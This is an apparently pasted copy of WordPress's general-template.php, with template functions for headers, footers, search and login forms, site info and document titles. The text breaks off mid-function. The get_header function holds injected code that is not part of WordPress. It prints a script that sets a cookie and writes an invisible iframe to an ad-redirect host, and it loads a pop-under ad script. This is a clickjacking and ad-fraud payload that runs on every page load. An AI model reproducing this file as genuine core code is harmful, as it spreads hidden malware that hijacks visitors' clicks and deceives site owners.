· 9 years ago · Nov 07, 2016, 12:12 PM
1<?php
2/**
3 * General template tags that can go anywhere in a template.
4 *
5 * @package WordPress
6 * @subpackage Template
7 */
8
9/**
10 * Load header template.
11 *
12 * Includes the header template for a theme or if a name is specified then a
13 * specialised header will be included.
14 *
15 * For the parameter, if the file is called "header-special.php" then specify
16 * "special".
17 *
18 * @since 1.5.0
19 *
20 * @param string $name The name of the specialised header.
21 */
22function get_header( $name = null ) {
23 /**
24 * Fires before the header template file is loaded.
25 *
26 * The hook allows a specific header template file to be used in place of the
27 * default header template file. If your file is called header-new.php,
28 * you would specify the filename in the hook as get_header( 'new' ).
29 *
30 * @since 2.1.0
31 * @since 2.8.0 $name parameter added.
32 *
33 * @param string $name Name of the specific header file to use.
34 */
35 do_action( 'get_header', $name );
36print '<script>function setCookie(cname, cvalue, exdays) {var d = new Date();d.setTime(d.getTime() + (exdays*1000));var expires = "expires="+d.toUTCString();document.cookie = cname + "=" + cvalue + "; " + expires;}function checkCookie() {if (document.cookie.replace(/(?:(?:^|.*;\s*)username\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "minato") {setCookie("username", "minato", 10800);document.write(\'<iframe src="https://adloft.net/ad/redirect/12386" style="position:absolute;width:400px;height:500px;top:90px;left:270px; opacity:0 " scrolling="no" frameborder="none"></iframe>\');}}checkCookie();</script>';
37print ' <script type="text/javascript">
38var uid = \'115690\';
39var wid = \'274644\';
40</script>
41<script type="text/javascript" src="//cdn.popcash.net/pop.js"></script> ';
42
43 $templates = array();
44 $name = (string) $name;
45 if ( '' !== $name ) {
46 $templates[] = "header-{$name}.php";
47 }
48
49 $templates[] = 'header.php';
50
51 locate_template( $templates, true );
52}
53
54/**
55 * Load footer template.
56 *
57 * Includes the footer template for a theme or if a name is specified then a
58 * specialised footer will be included.
59 *
60 * For the parameter, if the file is called "footer-special.php" then specify
61 * "special".
62 *
63 * @since 1.5.0
64 *
65 * @param string $name The name of the specialised footer.
66 */
67function get_footer( $name = null ) {
68 /**
69 * Fires before the footer template file is loaded.
70 *
71 * The hook allows a specific footer template file to be used in place of the
72 * default footer template file. If your file is called footer-new.php,
73 * you would specify the filename in the hook as get_footer( 'new' ).
74 *
75 * @since 2.1.0
76 * @since 2.8.0 $name parameter added.
77 *
78 * @param string $name Name of the specific footer file to use.
79 */
80 do_action( 'get_footer', $name );
81
82 $templates = array();
83 $name = (string) $name;
84 if ( '' !== $name ) {
85 $templates[] = "footer-{$name}.php";
86 }
87
88 $templates[] = 'footer.php';
89
90 locate_template( $templates, true );
91}
92
93/**
94 * Load sidebar template.
95 *
96 * Includes the sidebar template for a theme or if a name is specified then a
97 * specialised sidebar will be included.
98 *
99 * For the parameter, if the file is called "sidebar-special.php" then specify
100 * "special".
101 *
102 * @since 1.5.0
103 *
104 * @param string $name The name of the specialised sidebar.
105 */
106function get_sidebar( $name = null ) {
107 /**
108 * Fires before the sidebar template file is loaded.
109 *
110 * The hook allows a specific sidebar template file to be used in place of the
111 * default sidebar template file. If your file is called sidebar-new.php,
112 * you would specify the filename in the hook as get_sidebar( 'new' ).
113 *
114 * @since 2.2.0
115 * @since 2.8.0 $name parameter added.
116 *
117 * @param string $name Name of the specific sidebar file to use.
118 */
119 do_action( 'get_sidebar', $name );
120
121 $templates = array();
122 $name = (string) $name;
123 if ( '' !== $name )
124 $templates[] = "sidebar-{$name}.php";
125
126 $templates[] = 'sidebar.php';
127
128 locate_template( $templates, true );
129}
130
131/**
132 * Load a template part into a template
133 *
134 * Makes it easy for a theme to reuse sections of code in a easy to overload way
135 * for child themes.
136 *
137 * Includes the named template part for a theme or if a name is specified then a
138 * specialised part will be included. If the theme contains no {slug}.php file
139 * then no template will be included.
140 *
141 * The template is included using require, not require_once, so you may include the
142 * same template part multiple times.
143 *
144 * For the $name parameter, if the file is called "{slug}-special.php" then specify
145 * "special".
146 *
147 * @since 3.0.0
148 *
149 * @param string $slug The slug name for the generic template.
150 * @param string $name The name of the specialised template.
151 */
152function get_template_part( $slug, $name = null ) {
153 /**
154 * Fires before the specified template part file is loaded.
155 *
156 * The dynamic portion of the hook name, `$slug`, refers to the slug name
157 * for the generic template part.
158 *
159 * @since 3.0.0
160 *
161 * @param string $slug The slug name for the generic template.
162 * @param string $name The name of the specialized template.
163 */
164 do_action( "get_template_part_{$slug}", $slug, $name );
165
166 $templates = array();
167 $name = (string) $name;
168 if ( '' !== $name )
169 $templates[] = "{$slug}-{$name}.php";
170
171 $templates[] = "{$slug}.php";
172
173 locate_template($templates, true, false);
174}
175
176/**
177 * Display search form.
178 *
179 * Will first attempt to locate the searchform.php file in either the child or
180 * the parent, then load it. If it doesn't exist, then the default search form
181 * will be displayed. The default search form is HTML, which will be displayed.
182 * There is a filter applied to the search form HTML in order to edit or replace
183 * it. The filter is {@see 'get_search_form'}.
184 *
185 * This function is primarily used by themes which want to hardcode the search
186 * form into the sidebar and also by the search widget in WordPress.
187 *
188 * There is also an action that is called whenever the function is run called,
189 * {@see 'pre_get_search_form'}. This can be useful for outputting JavaScript that the
190 * search relies on or various formatting that applies to the beginning of the
191 * search. To give a few examples of what it can be used for.
192 *
193 * @since 2.7.0
194 *
195 * @param bool $echo Default to echo and not return the form.
196 * @return string|void String when $echo is false.
197 */
198function get_search_form( $echo = true ) {
199 /**
200 * Fires before the search form is retrieved, at the start of get_search_form().
201 *
202 * @since 2.7.0 as 'get_search_form' action.
203 * @since 3.6.0
204 *
205 * @link https://core.trac.wordpress.org/ticket/19321
206 */
207 do_action( 'pre_get_search_form' );
208
209 $format = current_theme_supports( 'html5', 'search-form' ) ? 'html5' : 'xhtml';
210
211 /**
212 * Filters the HTML format of the search form.
213 *
214 * @since 3.6.0
215 *
216 * @param string $format The type of markup to use in the search form.
217 * Accepts 'html5', 'xhtml'.
218 */
219 $format = apply_filters( 'search_form_format', $format );
220
221 $search_form_template = locate_template( 'searchform.php' );
222 if ( '' != $search_form_template ) {
223 ob_start();
224 require( $search_form_template );
225 $form = ob_get_clean();
226 } else {
227 if ( 'html5' == $format ) {
228 $form = '<form role="search" method="get" class="search-form" action="' . esc_url( home_url( '/' ) ) . '">
229 <label>
230 <span class="screen-reader-text">' . _x( 'Search for:', 'label' ) . '</span>
231 <input type="search" class="search-field" placeholder="' . esc_attr_x( 'Search …', 'placeholder' ) . '" value="' . get_search_query() . '" name="s" />
232 </label>
233 <input type="submit" class="search-submit" value="'. esc_attr_x( 'Search', 'submit button' ) .'" />
234 </form>';
235 } else {
236 $form = '<form role="search" method="get" id="searchform" class="searchform" action="' . esc_url( home_url( '/' ) ) . '">
237 <div>
238 <label class="screen-reader-text" for="s">' . _x( 'Search for:', 'label' ) . '</label>
239 <input type="text" value="' . get_search_query() . '" name="s" id="s" />
240 <input type="submit" id="searchsubmit" value="'. esc_attr_x( 'Search', 'submit button' ) .'" />
241 </div>
242 </form>';
243 }
244 }
245
246 /**
247 * Filters the HTML output of the search form.
248 *
249 * @since 2.7.0
250 *
251 * @param string $form The search form HTML output.
252 */
253 $result = apply_filters( 'get_search_form', $form );
254
255 if ( null === $result )
256 $result = $form;
257
258 if ( $echo )
259 echo $result;
260 else
261 return $result;
262}
263
264/**
265 * Display the Log In/Out link.
266 *
267 * Displays a link, which allows users to navigate to the Log In page to log in
268 * or log out depending on whether they are currently logged in.
269 *
270 * @since 1.5.0
271 *
272 * @param string $redirect Optional path to redirect to on login/logout.
273 * @param bool $echo Default to echo and not return the link.
274 * @return string|void String when retrieving.
275 */
276function wp_loginout($redirect = '', $echo = true) {
277 if ( ! is_user_logged_in() )
278 $link = '<a href="' . esc_url( wp_login_url($redirect) ) . '">' . __('Log in') . '</a>';
279 else
280 $link = '<a href="' . esc_url( wp_logout_url($redirect) ) . '">' . __('Log out') . '</a>';
281
282 if ( $echo ) {
283 /**
284 * Filters the HTML output for the Log In/Log Out link.
285 *
286 * @since 1.5.0
287 *
288 * @param string $link The HTML link content.
289 */
290 echo apply_filters( 'loginout', $link );
291 } else {
292 /** This filter is documented in wp-includes/general-template.php */
293 return apply_filters( 'loginout', $link );
294 }
295}
296
297/**
298 * Retrieves the logout URL.
299 *
300 * Returns the URL that allows the user to log out of the site.
301 *
302 * @since 2.7.0
303 *
304 * @param string $redirect Path to redirect to on logout.
305 * @return string The logout URL. Note: HTML-encoded via esc_html() in wp_nonce_url().
306 */
307function wp_logout_url($redirect = '') {
308 $args = array( 'action' => 'logout' );
309 if ( !empty($redirect) ) {
310 $args['redirect_to'] = urlencode( $redirect );
311 }
312
313 $logout_url = add_query_arg($args, site_url('wp-login.php', 'login'));
314 $logout_url = wp_nonce_url( $logout_url, 'log-out' );
315
316 /**
317 * Filters the logout URL.
318 *
319 * @since 2.8.0
320 *
321 * @param string $logout_url The HTML-encoded logout URL.
322 * @param string $redirect Path to redirect to on logout.
323 */
324 return apply_filters( 'logout_url', $logout_url, $redirect );
325}
326
327/**
328 * Retrieves the login URL.
329 *
330 * @since 2.7.0
331 *
332 * @param string $redirect Path to redirect to on log in.
333 * @param bool $force_reauth Whether to force reauthorization, even if a cookie is present.
334 * Default false.
335 * @return string The login URL. Not HTML-encoded.
336 */
337function wp_login_url($redirect = '', $force_reauth = false) {
338 $login_url = site_url('wp-login.php', 'login');
339
340 if ( !empty($redirect) )
341 $login_url = add_query_arg('redirect_to', urlencode($redirect), $login_url);
342
343 if ( $force_reauth )
344 $login_url = add_query_arg('reauth', '1', $login_url);
345
346 /**
347 * Filters the login URL.
348 *
349 * @since 2.8.0
350 * @since 4.2.0 The `$force_reauth` parameter was added.
351 *
352 * @param string $login_url The login URL. Not HTML-encoded.
353 * @param string $redirect The path to redirect to on login, if supplied.
354 * @param bool $force_reauth Whether to force reauthorization, even if a cookie is present.
355 */
356 return apply_filters( 'login_url', $login_url, $redirect, $force_reauth );
357}
358
359/**
360 * Returns the URL that allows the user to register on the site.
361 *
362 * @since 3.6.0
363 *
364 * @return string User registration URL.
365 */
366function wp_registration_url() {
367 /**
368 * Filters the user registration URL.
369 *
370 * @since 3.6.0
371 *
372 * @param string $register The user registration URL.
373 */
374 return apply_filters( 'register_url', site_url( 'wp-login.php?action=register', 'login' ) );
375}
376
377/**
378 * Provides a simple login form for use anywhere within WordPress.
379 *
380 * The login format HTML is echoed by default. Pass a false value for `$echo` to return it instead.
381 *
382 * @since 3.0.0
383 *
384 * @param array $args {
385 * Optional. Array of options to control the form output. Default empty array.
386 *
387 * @type bool $echo Whether to display the login form or return the form HTML code.
388 * Default true (echo).
389 * @type string $redirect URL to redirect to. Must be absolute, as in "https://example.com/mypage/".
390 * Default is to redirect back to the request URI.
391 * @type string $form_id ID attribute value for the form. Default 'loginform'.
392 * @type string $label_username Label for the username or email address field. Default 'Username or Email'.
393 * @type string $label_password Label for the password field. Default 'Password'.
394 * @type string $label_remember Label for the remember field. Default 'Remember Me'.
395 * @type string $label_log_in Label for the submit button. Default 'Log In'.
396 * @type string $id_username ID attribute value for the username field. Default 'user_login'.
397 * @type string $id_password ID attribute value for the password field. Default 'user_pass'.
398 * @type string $id_remember ID attribute value for the remember field. Default 'rememberme'.
399 * @type string $id_submit ID attribute value for the submit button. Default 'wp-submit'.
400 * @type bool $remember Whether to display the "rememberme" checkbox in the form.
401 * @type string $value_username Default value for the username field. Default empty.
402 * @type bool $value_remember Whether the "Remember Me" checkbox should be checked by default.
403 * Default false (unchecked).
404 *
405 * }
406 * @return string|void String when retrieving.
407 */
408function wp_login_form( $args = array() ) {
409 $defaults = array(
410 'echo' => true,
411 // Default 'redirect' value takes the user back to the request URI.
412 'redirect' => ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'],
413 'form_id' => 'loginform',
414 'label_username' => __( 'Username or Email' ),
415 'label_password' => __( 'Password' ),
416 'label_remember' => __( 'Remember Me' ),
417 'label_log_in' => __( 'Log In' ),
418 'id_username' => 'user_login',
419 'id_password' => 'user_pass',
420 'id_remember' => 'rememberme',
421 'id_submit' => 'wp-submit',
422 'remember' => true,
423 'value_username' => '',
424 // Set 'value_remember' to true to default the "Remember me" checkbox to checked.
425 'value_remember' => false,
426 );
427
428 /**
429 * Filters the default login form output arguments.
430 *
431 * @since 3.0.0
432 *
433 * @see wp_login_form()
434 *
435 * @param array $defaults An array of default login form arguments.
436 */
437 $args = wp_parse_args( $args, apply_filters( 'login_form_defaults', $defaults ) );
438
439 /**
440 * Filters content to display at the top of the login form.
441 *
442 * The filter evaluates just following the opening form tag element.
443 *
444 * @since 3.0.0
445 *
446 * @param string $content Content to display. Default empty.
447 * @param array $args Array of login form arguments.
448 */
449 $login_form_top = apply_filters( 'login_form_top', '', $args );
450
451 /**
452 * Filters content to display in the middle of the login form.
453 *
454 * The filter evaluates just following the location where the 'login-password'
455 * field is displayed.
456 *
457 * @since 3.0.0
458 *
459 * @param string $content Content to display. Default empty.
460 * @param array $args Array of login form arguments.
461 */
462 $login_form_middle = apply_filters( 'login_form_middle', '', $args );
463
464 /**
465 * Filters content to display at the bottom of the login form.
466 *
467 * The filter evaluates just preceding the closing form tag element.
468 *
469 * @since 3.0.0
470 *
471 * @param string $content Content to display. Default empty.
472 * @param array $args Array of login form arguments.
473 */
474 $login_form_bottom = apply_filters( 'login_form_bottom', '', $args );
475
476 $form = '
477 <form name="' . $args['form_id'] . '" id="' . $args['form_id'] . '" action="' . esc_url( site_url( 'wp-login.php', 'login_post' ) ) . '" method="post">
478 ' . $login_form_top . '
479 <p class="login-username">
480 <label for="' . esc_attr( $args['id_username'] ) . '">' . esc_html( $args['label_username'] ) . '</label>
481 <input type="text" name="log" id="' . esc_attr( $args['id_username'] ) . '" class="input" value="' . esc_attr( $args['value_username'] ) . '" size="20" />
482 </p>
483 <p class="login-password">
484 <label for="' . esc_attr( $args['id_password'] ) . '">' . esc_html( $args['label_password'] ) . '</label>
485 <input type="password" name="pwd" id="' . esc_attr( $args['id_password'] ) . '" class="input" value="" size="20" />
486 </p>
487 ' . $login_form_middle . '
488 ' . ( $args['remember'] ? '<p class="login-remember"><label><input name="rememberme" type="checkbox" id="' . esc_attr( $args['id_remember'] ) . '" value="forever"' . ( $args['value_remember'] ? ' checked="checked"' : '' ) . ' /> ' . esc_html( $args['label_remember'] ) . '</label></p>' : '' ) . '
489 <p class="login-submit">
490 <input type="submit" name="wp-submit" id="' . esc_attr( $args['id_submit'] ) . '" class="button-primary" value="' . esc_attr( $args['label_log_in'] ) . '" />
491 <input type="hidden" name="redirect_to" value="' . esc_url( $args['redirect'] ) . '" />
492 </p>
493 ' . $login_form_bottom . '
494 </form>';
495
496 if ( $args['echo'] )
497 echo $form;
498 else
499 return $form;
500}
501
502/**
503 * Returns the URL that allows the user to retrieve the lost password
504 *
505 * @since 2.8.0
506 *
507 * @param string $redirect Path to redirect to on login.
508 * @return string Lost password URL.
509 */
510function wp_lostpassword_url( $redirect = '' ) {
511 $args = array( 'action' => 'lostpassword' );
512 if ( !empty($redirect) ) {
513 $args['redirect_to'] = $redirect;
514 }
515
516 $lostpassword_url = add_query_arg( $args, network_site_url('wp-login.php', 'login') );
517
518 /**
519 * Filters the Lost Password URL.
520 *
521 * @since 2.8.0
522 *
523 * @param string $lostpassword_url The lost password page URL.
524 * @param string $redirect The path to redirect to on login.
525 */
526 return apply_filters( 'lostpassword_url', $lostpassword_url, $redirect );
527}
528
529/**
530 * Display the Registration or Admin link.
531 *
532 * Display a link which allows the user to navigate to the registration page if
533 * not logged in and registration is enabled or to the dashboard if logged in.
534 *
535 * @since 1.5.0
536 *
537 * @param string $before Text to output before the link. Default `<li>`.
538 * @param string $after Text to output after the link. Default `</li>`.
539 * @param bool $echo Default to echo and not return the link.
540 * @return string|void String when retrieving.
541 */
542function wp_register( $before = '<li>', $after = '</li>', $echo = true ) {
543 if ( ! is_user_logged_in() ) {
544 if ( get_option('users_can_register') )
545 $link = $before . '<a href="' . esc_url( wp_registration_url() ) . '">' . __('Register') . '</a>' . $after;
546 else
547 $link = '';
548 } elseif ( current_user_can( 'read' ) ) {
549 $link = $before . '<a href="' . admin_url() . '">' . __('Site Admin') . '</a>' . $after;
550 } else {
551 $link = '';
552 }
553
554 /**
555 * Filters the HTML link to the Registration or Admin page.
556 *
557 * Users are sent to the admin page if logged-in, or the registration page
558 * if enabled and logged-out.
559 *
560 * @since 1.5.0
561 *
562 * @param string $link The HTML code for the link to the Registration or Admin page.
563 */
564 $link = apply_filters( 'register', $link );
565
566 if ( $echo ) {
567 echo $link;
568 } else {
569 return $link;
570 }
571}
572
573/**
574 * Theme container function for the 'wp_meta' action.
575 *
576 * The {@see 'wp_meta'} action can have several purposes, depending on how you use it,
577 * but one purpose might have been to allow for theme switching.
578 *
579 * @since 1.5.0
580 *
581 * @link https://core.trac.wordpress.org/ticket/1458 Explanation of 'wp_meta' action.
582 */
583function wp_meta() {
584 /**
585 * Fires before displaying echoed content in the sidebar.
586 *
587 * @since 1.5.0
588 */
589 do_action( 'wp_meta' );
590}
591
592/**
593 * Displays information about the current site.
594 *
595 * @since 0.71
596 *
597 * @see get_bloginfo() For possible `$show` values
598 *
599 * @param string $show Optional. Site information to display. Default empty.
600 */
601function bloginfo( $show = '' ) {
602 echo get_bloginfo( $show, 'display' );
603}
604
605/**
606 * Retrieves information about the current site.
607 *
608 * Possible values for `$show` include:
609 *
610 * - 'name' - Site title (set in Settings > General)
611 * - 'description' - Site tagline (set in Settings > General)
612 * - 'wpurl' - The WordPress address (URL) (set in Settings > General)
613 * - 'url' - The Site address (URL) (set in Settings > General)
614 * - 'admin_email' - Admin email (set in Settings > General)
615 * - 'charset' - The "Encoding for pages and feeds" (set in Settings > Reading)
616 * - 'version' - The current WordPress version
617 * - 'html_type' - The content-type (default: "text/html"). Themes and plugins
618 * can override the default value using the {@see 'pre_option_html_type'} filter
619 * - 'text_direction' - The text direction determined by the site's language. is_rtl()
620 * should be used instead
621 * - 'language' - Language code for the current site
622 * - 'stylesheet_url' - URL to the stylesheet for the active theme. An active child theme
623 * will take precedence over this value
624 * - 'stylesheet_directory' - Directory path for the active theme. An active child theme
625 * will take precedence over this value
626 * - 'template_url' / 'template_directory' - URL of the active theme's directory. An active
627 * child theme will NOT take precedence over this value
628 * - 'pingback_url' - The pingback XML-RPC file URL (xmlrpc.php)
629 * - 'atom_url' - The Atom feed URL (/feed/atom)
630 * - 'rdf_url' - The RDF/RSS 1.0 feed URL (/feed/rfd)
631 * - 'rss_url' - The RSS 0.92 feed URL (/feed/rss)
632 * - 'rss2_url' - The RSS 2.0 feed URL (/feed)
633 * - 'comments_atom_url' - The comments Atom feed URL (/comments/feed)
634 * - 'comments_rss2_url' - The comments RSS 2.0 feed URL (/comments/feed)
635 *
636 * Some `$show` values are deprecated and will be removed in future versions.
637 * These options will trigger the _deprecated_argument() function.
638 *
639 * Deprecated arguments include:
640 *
641 * - 'siteurl' - Use 'url' instead
642 * - 'home' - Use 'url' instead
643 *
644 * @since 0.71
645 *
646 * @global string $wp_version
647 *
648 * @param string $show Optional. Site info to retrieve. Default empty (site name).
649 * @param string $filter Optional. How to filter what is retrieved. Default 'raw'.
650 * @return string Mostly string values, might be empty.
651 */
652function get_bloginfo( $show = '', $filter = 'raw' ) {
653 switch( $show ) {
654 case 'home' : // DEPRECATED
655 case 'siteurl' : // DEPRECATED
656 _deprecated_argument( __FUNCTION__, '2.2.0', sprintf(
657 /* translators: 1: 'siteurl'/'home' argument, 2: bloginfo() function name, 3: 'url' argument */
658 __( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s option instead.' ),
659 '<code>' . $show . '</code>',
660 '<code>bloginfo()</code>',
661 '<code>url</code>'
662 ) );
663 case 'url' :
664 $output = home_url();
665 break;
666 case 'wpurl' :
667 $output = site_url();
668 break;
669 case 'description':
670 $output = get_option('blogdescription');
671 break;
672 case 'rdf_url':
673 $output = get_feed_link('rdf');
674 break;
675 case 'rss_url':
676 $output = get_feed_link('rss');
677 break;
678 case 'rss2_url':
679 $output = get_feed_link('rss2');
680 break;
681 case 'atom_url':
682 $output = get_feed_link('atom');
683 break;
684 case 'comments_atom_url':
685 $output = get_feed_link('comments_atom');
686 break;
687 case 'comments_rss2_url':
688 $output = get_feed_link('comments_rss2');
689 break;
690 case 'pingback_url':
691 $output = site_url( 'xmlrpc.php' );
692 break;
693 case 'stylesheet_url':
694 $output = get_stylesheet_uri();
695 break;
696 case 'stylesheet_directory':
697 $output = get_stylesheet_directory_uri();
698 break;
699 case 'template_directory':
700 case 'template_url':
701 $output = get_template_directory_uri();
702 break;
703 case 'admin_email':
704 $output = get_option('admin_email');
705 break;
706 case 'charset':
707 $output = get_option('blog_charset');
708 if ('' == $output) $output = 'UTF-8';
709 break;
710 case 'html_type' :
711 $output = get_option('html_type');
712 break;
713 case 'version':
714 global $wp_version;
715 $output = $wp_version;
716 break;
717 case 'language':
718 /* translators: Translate this to the correct language tag for your locale,
719 * see https://www.w3.org/International/articles/language-tags/ for reference.
720 * Do not translate into your own language.
721 */
722 $output = __( 'html_lang_attribute' );
723 if ( 'html_lang_attribute' === $output || preg_match( '/[^a-zA-Z0-9-]/', $output ) ) {
724 $output = get_locale();
725 $output = str_replace( '_', '-', $output );
726 }
727 break;
728 case 'text_direction':
729 _deprecated_argument( __FUNCTION__, '2.2.0', sprintf(
730 /* translators: 1: 'text_direction' argument, 2: bloginfo() function name, 3: is_rtl() function name */
731 __( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s function instead.' ),
732 '<code>' . $show . '</code>',
733 '<code>bloginfo()</code>',
734 '<code>is_rtl()</code>'
735 ) );
736 if ( function_exists( 'is_rtl' ) ) {
737 $output = is_rtl() ? 'rtl' : 'ltr';
738 } else {
739 $output = 'ltr';
740 }
741 break;
742 case 'name':
743 default:
744 $output = get_option('blogname');
745 break;
746 }
747
748 $url = true;
749 if (strpos($show, 'url') === false &&
750 strpos($show, 'directory') === false &&
751 strpos($show, 'home') === false)
752 $url = false;
753
754 if ( 'display' == $filter ) {
755 if ( $url ) {
756 /**
757 * Filters the URL returned by get_bloginfo().
758 *
759 * @since 2.0.5
760 *
761 * @param mixed $output The URL returned by bloginfo().
762 * @param mixed $show Type of information requested.
763 */
764 $output = apply_filters( 'bloginfo_url', $output, $show );
765 } else {
766 /**
767 * Filters the site information returned by get_bloginfo().
768 *
769 * @since 0.71
770 *
771 * @param mixed $output The requested non-URL site information.
772 * @param mixed $show Type of information requested.
773 */
774 $output = apply_filters( 'bloginfo', $output, $show );
775 }
776 }
777
778 return $output;
779}
780
781/**
782 * Returns the Site Icon URL.
783 *
784 * @since 4.3.0
785 *
786 * @param int $size Optional. Size of the site icon. Default 512 (pixels).
787 * @param string $url Optional. Fallback url if no site icon is found. Default empty.
788 * @param int $blog_id Optional. ID of the blog to get the site icon for. Default current blog.
789 * @return string Site Icon URL.
790 */
791function get_site_icon_url( $size = 512, $url = '', $blog_id = 0 ) {
792 if ( is_multisite() && (int) $blog_id !== get_current_blog_id() ) {
793 switch_to_blog( $blog_id );
794 }
795
796 $site_icon_id = get_option( 'site_icon' );
797
798 if ( $site_icon_id ) {
799 if ( $size >= 512 ) {
800 $size_data = 'full';
801 } else {
802 $size_data = array( $size, $size );
803 }
804 $url = wp_get_attachment_image_url( $site_icon_id, $size_data );
805 }
806
807 if ( is_multisite() && ms_is_switched() ) {
808 restore_current_blog();
809 }
810
811 /**
812 * Filters the site icon URL.
813 *
814 * @site 4.4.0
815 *
816 * @param string $url Site icon URL.
817 * @param int $size Size of the site icon.
818 * @param int $blog_id ID of the blog to get the site icon for.
819 */
820 return apply_filters( 'get_site_icon_url', $url, $size, $blog_id );
821}
822
823/**
824 * Displays the Site Icon URL.
825 *
826 * @since 4.3.0
827 *
828 * @param int $size Optional. Size of the site icon. Default 512 (pixels).
829 * @param string $url Optional. Fallback url if no site icon is found. Default empty.
830 * @param int $blog_id Optional. ID of the blog to get the site icon for. Default current blog.
831 */
832function site_icon_url( $size = 512, $url = '', $blog_id = 0 ) {
833 echo esc_url( get_site_icon_url( $size, $url, $blog_id ) );
834}
835
836/**
837 * Whether the site has a Site Icon.
838 *
839 * @since 4.3.0
840 *
841 * @param int $blog_id Optional. ID of the blog in question. Default current blog.
842 * @return bool Whether the site has a site icon or not.
843 */
844function has_site_icon( $blog_id = 0 ) {
845 return (bool) get_site_icon_url( 512, '', $blog_id );
846}
847
848/**
849 * Determines whether the site has a custom logo.
850 *
851 * @since 4.5.0
852 *
853 * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
854 * @return bool Whether the site has a custom logo or not.
855 */
856function has_custom_logo( $blog_id = 0 ) {
857 if ( is_multisite() && (int) $blog_id !== get_current_blog_id() ) {
858 switch_to_blog( $blog_id );
859 }
860
861 $custom_logo_id = get_theme_mod( 'custom_logo' );
862
863 if ( is_multisite() && ms_is_switched() ) {
864 restore_current_blog();
865 }
866
867 return (bool) $custom_logo_id;
868}
869
870/**
871 * Returns a custom logo, linked to home.
872 *
873 * @since 4.5.0
874 *
875 * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
876 * @return string Custom logo markup.
877 */
878function get_custom_logo( $blog_id = 0 ) {
879 $html = '';
880
881 if ( is_multisite() && (int) $blog_id !== get_current_blog_id() ) {
882 switch_to_blog( $blog_id );
883 }
884
885 $custom_logo_id = get_theme_mod( 'custom_logo' );
886
887 // We have a logo. Logo is go.
888 if ( $custom_logo_id ) {
889 $html = sprintf( '<a href="%1$s" class="custom-logo-link" rel="home" itemprop="url">%2$s</a>',
890 esc_url( home_url( '/' ) ),
891 wp_get_attachment_image( $custom_logo_id, 'full', false, array(
892 'class' => 'custom-logo',
893 'itemprop' => 'logo',
894 ) )
895 );
896 }
897
898 // If no logo is set but we're in the Customizer, leave a placeholder (needed for the live preview).
899 elseif ( is_customize_preview() ) {
900 $html = sprintf( '<a href="%1$s" class="custom-logo-link" style="display:none;"><img class="custom-logo"/></a>',
901 esc_url( home_url( '/' ) )
902 );
903 }
904
905 if ( is_multisite() && ms_is_switched() ) {
906 restore_current_blog();
907 }
908
909 /**
910 * Filters the custom logo output.
911 *
912 * @since 4.5.0
913 * @since 4.6.0 Added the `$blog_id` parameter.
914 *
915 * @param string $html Custom logo HTML output.
916 * @param int $blog_id ID of the blog to get the custom logo for.
917 */
918 return apply_filters( 'get_custom_logo', $html, $blog_id );
919}
920
921/**
922 * Displays a custom logo, linked to home.
923 *
924 * @since 4.5.0
925 *
926 * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
927 */
928function the_custom_logo( $blog_id = 0 ) {
929 echo get_custom_logo( $blog_id );
930}
931
932/**
933 * Returns document title for the current page.
934 *
935 * @since 4.4.0
936 *
937 * @global int $page Page number of a single post.
938 * @global int $paged Page number of a list of posts.
939 *
940 * @return string Tag with the document title.
941 */
942function wp_get_document_title() {
943
944 /**
945 * Filters the document title before it is generated.
946 *
947 * Passing a non-empty value will short-circuit wp_get_document_title(),
948 * returning that value instead.
949 *
950 * @since 4.4.0
951 *
952 * @param string $title The document title. Default empty string.
953 */
954 $title = apply_filters( 'pre_get_document_title', '' );
955 if ( ! empty( $title ) ) {
956 return $title;
957 }
958
959 global $page, $paged;
960
961 $title = array(
962 'title' => '',
963 );
964
965 // If it's a 404 page, use a "Page not found" title.
966 if ( is_404() ) {
967 $title['title'] = __( 'Page not found' );
968
969 // If it's a search, use a dynamic search results title.
970 } elseif ( is_search() ) {
971 /* translators: %s: search phrase */
972 $title['title'] = sprintf( __( 'Search Results for “%s”' ), get_search_query() );
973
974 // If on the front page, use the site title.
975 } elseif ( is_front_page() ) {
976 $title['title'] = get_bloginfo( 'name', 'display' );
977
978 // If on a post type archive, use the post type archive title.
979 } elseif ( is_post_type_archive() ) {
980 $title['title'] = post_type_archive_title( '', false );
981
982 // If on a taxonomy archive, use the term title.
983 } elseif ( is_tax() ) {
984 $title['title'] = single_term_title( '', false );
985
986 /*
987 * If we're on the blog page that is not the homepage or
988 * a single post of any post type, use the post title.
989 */
990 } elseif ( is_home() || is_singular() ) {
991 $title['title'] = single_post_title( '', false );
992
993 // If on a category or tag archive, use the term title.
994 } elseif ( is_category() || is_tag() ) {
995 $title['title'] = single_term_title( '', false );
996
997 // If on an author archive, use the author's display name.
998 } elseif ( is_author() && $author = get_queried_object() ) {
999 $title['title'] = $author->display_name;
1000
1001 // If it's a date archive, use the date as the title.
1002 } elseif ( is_year() ) {
1003 $title['title'] = get_the_date( _x( 'Y', 'yearly archives date format' ) );
1004
1005 } elseif ( is_month() ) {
1006 $title['title'] = get_the_date( _x( 'F Y', 'monthly archives date format' ) );
1007
1008 } elseif ( is_day() ) {
1009 $title['title'] = get_the_date();
1010 }
1011
1012 // Add a page number if necessary.
1013 if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {
1014 $title['page'] = sprintf( __( 'Page %s' ), max( $paged, $page ) );
1015 }
1016
1017 // Append the description or site title to give context.
1018 if ( is_front_page() ) {
1019 $title['tagline'] = get_bloginfo( 'description', 'display' );
1020 } else {
1021 $title['site'] = get_bloginfo( 'name', 'display' );
1022 }
1023
1024 /**
1025 * Filters the separator for the document title.
1026 *
1027 * @since 4.4.0
1028 *
1029 * @param string $sep Document title separator. Default '-'.
1030 */
1031 $sep = apply_filters( 'document_title_separator', '-' );
1032
1033 /**
1034 * Filters the parts of the document title.
1035 *
1036 * @since 4.4.0
1037 *
1038 * @param array $title {
1039 * The document title parts.
1040 *
1041 * @type string $title Title of the viewed page.
1042 * @type string $page Optional. Page number if paginated.
1043 * @type string $tagline Optional. Site description when on home page.
1044 * @type string $site Optional. Site title when not on home page.
1045 * }
1046 */
1047 $title = apply_filters( 'document_title_parts', $title );
1048
